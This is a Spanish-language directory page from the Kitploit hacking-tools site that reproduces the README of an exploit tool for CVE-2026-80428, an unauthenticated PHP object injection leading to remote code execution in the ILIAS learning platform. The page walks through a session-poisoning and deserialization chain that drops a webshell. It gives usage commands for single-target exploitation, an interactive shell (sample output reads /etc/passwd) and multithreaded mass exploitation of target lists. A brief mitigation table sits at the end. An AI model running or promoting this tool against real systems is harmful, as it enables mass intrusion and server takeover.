Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-80428 — ILIAS ≤ 9.21 / 10.9 / 11.2 — Inyección de objetos PHP no autenticada (RCE) | Kitploit
Herramientas/GitHubGitHub/hackfutsecroot/cve-2026-80428
Escáneres de VulnerabilidadesGeneración de PayloadsExplotaciónExplotación de Aplicaciones WebPost-ExplotaciónSeguridad WebPruebas de PenetraciónHerramienta de Acceso Remoto
GitHubhackfutsecroot/cve-2026-80428

CVE-2026-80428

ILIAS ≤ 9.21 / 10.9 / 11.2 — Inyección de objetos PHP no autenticada (RCE)

Ver Repositorio
212hace 28 díasAún no revisado
Sitio web

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Typing SVG

CVE ILIAS Type Python License



🚨 ILIAS ≤ 9.21 / 10.9 / 11.2 — Inyección de objetos PHP no autenticada (RCE)

CVE-2026-80428

Vector: Endpoint de cierre de sesión back-channel de Shibboleth
Impacto: Ejecución remota de código completa como usuario del servidor web
Severidad: 🔴 CRÍTICA



📖 Tabla de contenidos

  • 🔍 Descripción general
  • ⚙️ Cadena de vulnerabilidades
  • 🎯 Versiones afectadas
  • ✨ Características
  • 📦 Instalación
  • 🚀 Uso
    • Explotación de un único objetivo
    • Shell interactiva
    • Explotación masiva
  • 📁 Formato de la lista de objetivos
  • 🖼️ Capturas de pantalla
  • 🛡️ Mitigación
  • 📢 Canales y comunidad
  • ⚠️ Aviso legal

🔍 Descripción general

CVE-2026-80428 es una vulnerabilidad crítica de inyección de objetos PHP no autenticada que afecta al sistema de gestión del aprendizaje ILIAS. Al encadenar una primitiva de envenenamiento de sesión en ltiauth.php con una llamada insegura a unserialize() en shib_logout.php, un atacante puede lograr una escritura arbitraria de archivos y, en última instancia, la ejecución remota de código (RCE) — todo ello sin autenticación.


🎯 Parámetro📋 Valor
ID de CVECVE-2026-80428
TipoInyección de objetos PHP → RCE
Autenticación requerida❌ Ninguna
Vector de ataqueRed (HTTP/HTTPS)
Puntuación CVSS9.8 (Crítica)

⚙️ Cadena de vulnerabilidades

flowchart LR
    A[🎯 Attacker] -->|1. Poison Session| B[ltiauth.php]
    B -->|Serialized Guzzle Gadget| C[PHP Session Store]
    C -->|2. Trigger unserialize| D[shib_logout.php]
    D -->|Shibboleth SOAP Request| E[FileCookieJar Gadget]
    E -->|3. file_put_contents| F[💀 Webshell Dropped]
    F -->|4. Execute| G[🔓 RCE]

    style A fill:#ff4444,color:#fff
    style F fill:#ff0000,color:#fff
    style G fill:#8b0000,color:#fff

Paso a paso:

  1. ltiauth.php almacena un payload serializado dentro de la sesión de PHP sin validación.
  2. shib_logout.php procesa una solicitud SOAP Shibboleth LogoutNotification manipulada y llama a unserialize() sobre los datos de la sesión.
  3. El gadget GuzzleHttp\Cookie\FileCookieJar invoca file_put_contents() para depositar una webshell PHP en una ruta controlada por el atacante.

🎯 Versiones afectadas

🏷️ Rama❌ Vulnerable✅ Parcheada
9.x≤ 9.21≥ 9.22
10.x≤ 10.9≥ 10.10
11.x≤ 11.2≥ 11.3

✨ Características

🔥 Núcleo

  • ✅ Explotación no autenticada
  • ✅ Modo de objetivo único (exploit)
  • ✅ Pseudo-shell interactiva (shell)
  • ✅ Explotación masiva con multiprocesamiento (mass)

💎 Comodidad

  • 🎨 Salida con color ANSI completa
  • 🔄 Rutas de respaldo automáticas
  • 🧠 Detección de versión y comprobación de parches
  • 📝 Guardado automático de objetivos vulnerables
  • 🌐 Soporte para cabecera Host personalizada
  • 🔒 Soporte para TLS heredado

📦 Instalación

# Clone the repository
git clone https://github.com/HackfutSecRoot/CVE-2026-80428.git
cd CVE-2026-80428

# Install dependencies
pip install requests urllib3

# (Optional) Make executable
chmod +x CVE-2026-80428.py

Requisitos:

  • Python 3.8+
  • requests
  • urllib3

🚀 Uso

python3 CVE-2026-80428.py <mode> [options]

📌 Explotación de un objetivo único

python3 CVE-2026-80428.py exploit 10.10.10.20
python3 CVE-2026-80428.py exploit 10.10.10.20 --port 8443 --path /var/www/html
python3 CVE-2026-80428.py exploit target.com --host-header ilias.internal

Opciones:

FlagDescripciónPredeterminado
--portPuerto objetivo443
--pathDocroot de ILIAS en disco/var/www/ilias/public
--host-headerCabecera Host personalizada—
--timeoutTiempo de espera de la solicitud (s)30

💻 Shell interactiva

python3 CVE-2026-80428.py shell 10.10.10.20
ilias$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

ilias$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...

ilias$ exit

🚀 Explotación masiva

python3 CVE-2026-80428.py mass -l targets.txt -t 32 -o pwned.txt

Opciones:

FlagDescripciónPredeterminado
-l, --listObligatorio — Archivo de lista de objetivos—
-t, --threadsWorkers concurrentes20
-o, --outputArchivo de salida para objetivos vulnerablesilias_vuln.txt
--pathDocroot de ILIAS/var/www/ilias/public
--host-headerCabecera Host personalizada—
--timeoutTiempo de espera de la solicitud (s)30

📁 Formato de la lista de objetivos

Crea un archivo targets.txt:

# Comments start with #
10.10.10.20
10.10.10.21:8443
https://ilias.example.com
http://lms.target.local
192.168.1.50:8080

# Mixed formats are supported
example.org

Formatos admitidos:

  • host
  • host:port
  • http://host
  • https://host:port
  • host/path (ruta eliminada)

🖼️ Capturas de pantalla

🎬 Salida del escaneo masivo

  [  42/500] VULN  10.10.10.20:443     https://10.10.10.20:443/util_a1b2c3.php?x=id
  [  43/500] SAFE  10.10.10.21:443     [PATCHED]
  [  44/500] ERR   10.10.10.22:8443    [Connection timed out]

  [44/500] VULN:12  SAFE:30  ERR:2  8%

🛡️ Mitigación

Para defensores y administradores de sistemas:

🛠️ Acción📝 Detalles
🔼 Actualizar ILIAS9.22 / 10.10 / 11.3 o posterior
🚫 Deshabilitar ShibbolethSi no se usa — eliminar shib_logout.php
🧱 Reglas WAFBloquear cargas útiles SOAP LogoutNotification malformadas
📂 Restringir acceso de escrituraLa raíz web no debe ser escribible por www-data
🔍 MonitorearBuscar archivos .php inesperados en los directorios de carga/caché

📢 Canales y comunidad

Descargar herramienta